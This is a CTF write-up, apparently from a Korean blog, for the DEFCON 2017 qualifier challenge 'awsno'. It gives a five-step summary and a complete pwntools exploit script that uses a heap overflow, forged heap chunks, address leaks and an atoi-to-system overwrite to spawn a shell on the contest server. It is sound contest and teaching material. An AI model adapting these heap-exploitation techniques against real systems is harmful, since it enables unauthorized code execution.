1. heap overflow in 'trains' menu
2. we can change heap layout by making hole with edit menu. (edit deletes a node and appends new copy at the end of the list)
3. using heap overflow, we can corrupt some objects and hijack RIP.
4. we used special gadget that allows us to do arbitrary write
5. we changed atoi into system and called atoi("sh 0<&4 1>&4"); to get a shell.
- worked with zzoru.
'''
trains name length : 31
'''
from pwn import *
import time
import subprocess
# context.log_level = 'debug'
'''
/form Nothing.
/index_write Write within 512 byte buffer.
/planes pwnable
/trains pwnable
/vehicles pwnable
'''
#context.terminal = ['tmux', 'splitw', '-h']
OFFSET = 0xe510
p = None
def main(req, menu, answer):
req('/trains')
raw_input('attach...')
trains_add(p64(0x41414141), p64(0x7474747474), p64(0x53535353), 30, 30)
trains_add('a', 'ab' * 2, 'c' * 2, 30, 30)
trains_update(2, 'a' * 1)
fake_1 = '1' + '\x00' * 7 + '\x00' * 8 * 3
fake_2 = '\x88' * 8 * 4
fake_3 = '\x77' * 8 + p32(0x14) + p32(0x1) + p32(0xff) + 'c' * 28
fake_4 = '\x33' * 8 * 6
fake_5 = '\x65' + '\x00' * 7 + p64(0xa02f58) + p64(0xa02f58) + p64(0x728f60) + p64(0xa02f60-0Xc) + p64(0x728f60) + p64(0x9fc538 - 0xc) + p64(0x728f60) + p64(0x9fc340 - 0xc)
# leak stdin
'''
atoi addr: 0x7f9f07f6df50
stdin addr: 0x7f9f082f3640
'''
trains_index('1' + '\x00' * 7 + fake_1 + fake_2 + fake_3 + fake_2 + fake_3 + fake_2 + fake_4 + fake_5)
answer('0')
menu(2)
p.recvuntil('Name: ')
print p.recvuntil('Name: ')
blabla_addr = unpack(p.recvuntil('Model: ')[:-7], 'all')
atoi_addr = unpack(p.recvuntil('Type: ')[:-6], 'all')
trains_add('a', 'b' * 2, 'c' * 2, 30, 30)
trains_update(3, 'a' * 1)
RIP = 0x65d0a2
fake_6 = '\x35' + '\x00' * 7 + p64(RIP) + p64(0xcafebab0) + p64(0xcafe4140) + p64(0xbeef3130) + p64(0xdead5550)
fake_7 = '\x65' + '\x00' * 7 + p64(0xa02f58) + p64(0xa11500) + p64(0x728f60) + p64(0xa02f60-0Xc)
trains_index('1' + '\x00' * 7 + fake_1 + fake_3 + fake_2 + fake_3 + fake_2+ fake_6+ fake_7)
answer('0')
menu(2)
p.recvuntil('Name: ')
p.recvuntil('Name: ')
print p.recvuntil('Name: ')
heap_addr = unpack(p.recvuntil('Model: ')[:-7], 'all') - 0x30
new_stack = heap_addr - 0x38
CMD = 'sh 0<&4 1>&4'
DEST = 0x9fc538
SRC = atoi_addr + OFFSET
fake_1 = '1' + '\x00' * 7 + '\x99' * 8 * 3
fake_2 = 'MMMM' + p64(DEST) + p64(SRC) + 'NNNNNNNNNNNN'
fake_3 = '\x71' * 8 + p32(0x14) + p32(0x1) + p32(0xff) + '123456789' +p64(new_stack)+ 'iopasdfghjk'
trains_add('a', 'b' * 2, 'c' * 2, 30, 30)
trains_update(4, 'a' * 1)
print 'heap addr: 0x%x' % heap_addr
print 'atoid addr: 0x%x' % atoi_addr
fake_8 = '\x65' + '\x00' * 7 + p64(0x9fca48 - 0x8) + p64(heap_addr - 0x40)
trains_index('1' + '\x00' * 7 + fake_1 + fake_2 + fake_3 + fake_2 + fake_3 + fake_2+ fake_6+ fake_8)
answer('0')
sleep(0.1)
menu(4)
answer('n')
answer('4')
answer('n')
menu(4)
answer('y')
answer(CMD)
recvuntil_kind = 0
if __name__ == '__main__':
import sys
run = int(sys.argv[1])
if run:
if 1:
local_worker = process(['./awsno'], env={'LD_PRELOAD':'./hook.so'})
else:
local_worker = subprocess.Popen(['ltrace', '-e', 'malloc', './awsno'], env={'LD_PRELOAD':'./hook.so'})
time.sleep(0.3)
else:
local_worker = None
local = int(sys.argv[2])
if local:
p = remote('localhost', 9345)
else:
p = remote('awsno_cfeaa78b474521963ccfd450cd938ce9.quals.shallweplayaga.me', 80)
def req(uri):
global recvuntil_kind
if uri == '/trains':
recvuntil_kind = 1
r = 'GET %s HTTP/1.1\r\n' % uri
r += 'Host: awsno_cfeaa78b474521963ccfd450cd938ce9.quals.shallweplayaga.me\r\n'
r += 'User-Agent: curl/7.47.0\r\n'
r += 'Accept: */*\r\n'
r += '\r\n'
p.send(r)
def menu(n):
if recvuntil_kind:
log.info(p.recvuntil(': '))
else:
log.info(p.recvuntil('> '))
log.warn(n)
p.send('%d\n' % n)
def menu2(n):
if recvuntil_kind:
log.info(p.recvuntil(': '))
else:
log.info(p.recvuntil('> '))
log.warn(n)
p.send('4zzzzzzzzzzzzz\n')
def answer(s):
if isinstance(s, int):
s = str(s)
log.info(p.recvuntil(': '))
log.warn(s)
p.send(s + '\n')
def send_form(text):
p.send("POST /form" + " HTTP/1.1\r\n")
p.send("Content-Type: application/x-www-form-urlencoded\r\n")
payload = "text="+text
p.send("Content-Length: %d\r\n\r\n" % (len(payload)))
p.send(payload + "\r\n")
return p.recv(4096)
def send_index_write(idx, chr):
print p.recv(4096)
p.send(str(idx) +"\n")
print p.recv(4096)
p.send(chr)
print p.recv(4096)
def trains_add(name, model, type_, speed, passengers):
menu(1)
answer(name)
answer(model)
answer(type_)
answer(str(speed))
answer(str(passengers))
def trains_list():
# print 'abc'
menu(2)
# not work
def trains_remove(idx):
menu(3)
answer('y')
answer(str(idx))
def trains_update(idx, name):
menu(4)
answer('y')
answer(str(idx))
answer('y')
answer(name)
def trains_index(idx):
menu(7)
answer(idx)
try:
main(req, menu, answer)
p.interactive()
finally:
p.close()
if local_worker:
local_worker.kill()
'Games > CTF' 카테고리의 다른 글
DEFCON 2017 empanada writeup (0) | 2017.05.08 |
---|---|
SECCON 2016 cheer_msg (0) | 2016.12.12 |
SECCON 2016 checker (0) | 2016.12.12 |
SECCON 2016 logger (0) | 2016.12.11 |
SECCON 2016 jumper (0) | 2016.12.11 |